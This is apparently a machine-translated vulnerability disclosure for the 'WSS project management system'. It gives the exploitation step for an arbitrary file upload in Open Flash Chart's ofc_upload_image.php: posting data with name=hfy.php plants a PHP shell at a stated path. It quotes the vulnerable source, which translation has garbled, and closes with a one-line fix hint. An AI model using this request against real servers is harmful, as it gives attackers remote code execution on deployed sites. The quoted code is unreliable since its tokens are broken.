WSS project management system Post get shell

POST Data Vulnerability file execution arbitrary suffix file storage vulnerability file/chart/php-ofc-library/ofc_upload_image.php exploitation:/chart/php-ofc-library/ofc_upload_image.php? Name = hfy. php hfy. php file name Post arbitrary data storage location http://localhost/chart/tmp-upload-images/hfy.php The latest wss vulnerability file, even the paid version, is deployed in the Sina store demo ~ <? Php /// In Open Flash Chart-> save_image debug mode, you // will see the 'echo 'text in a new window. /// * print_r ($ _ GET); print_r ($ _ POST); print_r ($ _ FILES); print_r ($ GLOBALS ); print_r ($ GLOBALS ["HTTP_RAW_POST_DATA"]); * // default path for the image to be stored // $ default_path = '.. /tmp-upload-images/'; if (! File_exists ($ default_path) mkdir ($ default_path, 0777, true); // full path to the saved image including filename // $ destination = $ default_path. basename ($ _ GET ['name']); echo 'saving your image :'. $ destination; // print_r ($ _ POST); // print_r ($ _ SERVER); // echo $ HTTP_RAW_POST_DATA; // POST data is usually string data, but we are passing a RAW. png // so PHP is a bit confused and $ _ POST is Empty. but it has saved // the raw bits into $ HTTP_RAW_POST_DATA // $ jfh = fopen ($ destination, 'w') or die ("can't open file "); fwrite ($ jfh, $ HTTP_RAW_POST_DATA); fclose ($ jfh); // LOOK: // exit (); // PHP5: /// default path for the image to be stored // $ default_path = 'tmp-upload-images/'; if (! File_exists ($ default_path) mkdir ($ default_path, 0777, true); // full path to the saved image including filename // $ destination = $ default_path. basename ($ _ FILES ['filedata'] ['name']); // move the image into the specified directory // if (move_uploaded_file ($ _ FILES ['filedata'] ['tmp _ name'], $ destination )) {echo "The file ". basename ($ _ FILES ['filedata'] ['name']). "has been uploaded; ";}Else {echo" file upload failed ";}?>


Solution:

This vulnerability file is a tool. How to break it, add permission verification, suffix verification, and so on ~, Do it yourself